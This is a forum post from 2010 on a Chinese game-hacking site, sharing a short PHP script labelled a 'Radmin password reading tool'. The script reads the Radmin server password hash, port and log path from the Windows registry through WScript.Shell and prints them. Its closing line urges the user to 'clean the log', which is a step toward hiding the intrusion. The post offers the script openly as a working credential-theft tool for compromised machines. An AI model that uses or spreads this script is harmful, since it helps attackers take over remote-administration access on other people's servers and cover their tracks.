WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1859查看
  • 0回复

[经验分享] Radmin密码读取工具

主题

好友

1172

积分

禁止发言

发表于 2010-1-18 17:52:48 |显示全部楼层
应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。  

<?php  
$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");  
$rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\";  
$Parameter = "Parameter";  
$Port = "Port";  
$logpath = "LogFilePath";  
$myparam = $shell->RegRead($rootkey.$Parameter);  
$myport = $shell->RegRead($rootkey.$Port);  
$path = $shell->RegRead($rootkey.$logpath);  
echo "radmin hash is:";  
foreach($myparam as $a){  
echo dechex($a);  
}  
echo "<br>";  
echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."<br>";  
echo "radmin log path is:$path<br>";  
echo "please clean the log"  
?>

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-12 20:20 , Processed in 0.065876 second(s), 16 queries .

返回顶部